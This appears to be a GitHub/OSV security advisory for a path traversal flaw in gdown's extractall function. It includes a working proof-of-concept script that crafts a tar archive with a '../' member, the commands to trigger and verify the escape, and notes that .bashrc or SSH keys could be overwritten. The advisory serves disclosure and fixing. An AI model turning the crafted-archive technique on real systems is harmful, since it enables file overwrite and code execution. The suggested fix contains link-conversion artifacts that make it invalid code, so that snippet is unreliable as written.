CVE-2026-40491: Gdown Path Traversal Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-76hw-p97h-883f",
  "modified" : "2026-04-24T20:51:54Z",
  "published" : "2026-04-14T01:11:30Z",
  "aliases" : [ "CVE-2026-40491" ],
  "summary" : "gdown Affected by Arbitrary File Write via Path Traversal in gdown.extractall",
  "details" : "### Summary\nThe gdown library (tested on v5.2.1) is vulnerable to a Path Traversal attack within its extractall functionality. When extracting a maliciously crafted ZIP or TAR archive, the library fails to sanitize or validate the filenames of the archive members. This allow files to be written outside the intended destination directory, potentially leading to arbitrary file overwrite and Remote Code Execution (RCE).\n\n### Details\nThe vulnerability exists in `gdown/extractall.py` within the `extractall()` function. The function takes an archive path and a destination directory (`to`), then calls the underlying `extractall()` method of Python's `tarfile` or `zipfile` modules without validating whether the archive members stay within the `to` boundary.\n\nVulnerable Code:\n```\n# gdown/extractall.py\ndef extractall(path, to=None):\n    # ... (omitted) ...\n    with opener(path, mode) as f:\n        f.extractall(path=to)  # Vulnerable: No path validation or filters`\n```\nEven on modern Python versions (3.12+), if the `filter` parameter is not explicitly set or if the library's wrapper logic bypasses modern protections, path traversal remains possible as demonstrated in the PoC.\n\n\n### PoC\n## Steps to Reproduce\n\n1. Create the Malicious Archive (`poc.py`):\n```\nimport tarfile\nimport io\nimport os\n\n# Create a target directory\nos.makedirs(\"./safe_target/subfolder\", exist_ok=True)\n\n# Generate a TAR file containing a member with path traversal\nwith tarfile.open(\"evil.tar\", \"w\") as tar:\n    # Target: escape the subfolder and write to the parent 'safe_target'\n    payload = tarfile.TarInfo(name=\"../escape.txt\")\n    content = b\"Path Traversal Success!\"\n    payload.size = len(content)\n    tar.addfile(payload, io.BytesIO(content))\n\nprint(\"[+] evil.tar created.\")`\n```\n1. Execute the Vulnerable Function:\n```\n`python3 -c \"from gdown import extractall; extractall('evil.tar', to='./safe_target/subfolder')\"`\n```\n1. Verify the Escape:\n```\nls -l ./safe_target/escape.txt\n# Output: -rw-r--r-- 1 user user 23 Mar 15 2026 ./safe_target/escape.txt`\n```\n\n### Impact\nAn attacker can provide a specially crafted archive that, when extracted via `gdown`, overwrites critical files on the victim's system.\n\n- Arbitrary File Overwrite: Overwriting `.bashrc`, `.ssh/authorized_keys`, or configuration files.\n- Remote Code Execution (RCE): By overwriting executable scripts or Python modules within a virtual environment.\n\n\n### Recommended Mitigation \nmplement path validation to ensure that all extracted files are contained within the target directory.\n\n**Suggested Fix:**\n\n```\nimport os\n\ndef is_within_directory(directory, target):\n    abs_directory = os.path.abspath(directory)\n    abs_target = os.path.abspath(target)\n    prefix = os.path.commonpath([abs_directory])\n    return os.path.commonpath([abs_directory, abs_target]) == prefix\n\n# Inside [extractall.py](http://extractall.py/)\nwith opener(path, mode) as f:\n    if isinstance(f, tarfile.TarFile):\n        for member in f.getmembers():\n            member_path = os.path.join(to, [member.name](http://member.name/))\n            if not is_within_directory(to, member_path):\n                raise Exception(\"Attempted Path Traversal in Tar File\")\n    f.extractall(path=to)\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "gdown"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "5.2.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.2.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/wkentaro/gdown/security/advisories/GHSA-76hw-p97h-883f"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-40491"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/wkentaro/gdown/commit/af569fc6ed300b7974dee66dc51e9f01b57b4dff"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/wkentaro/gdown"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/wkentaro/gdown/releases/tag/v5.2.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-14T01:11:30Z",
    "nvd_published_at" : "2026-04-18T03:16:13Z"
  }
}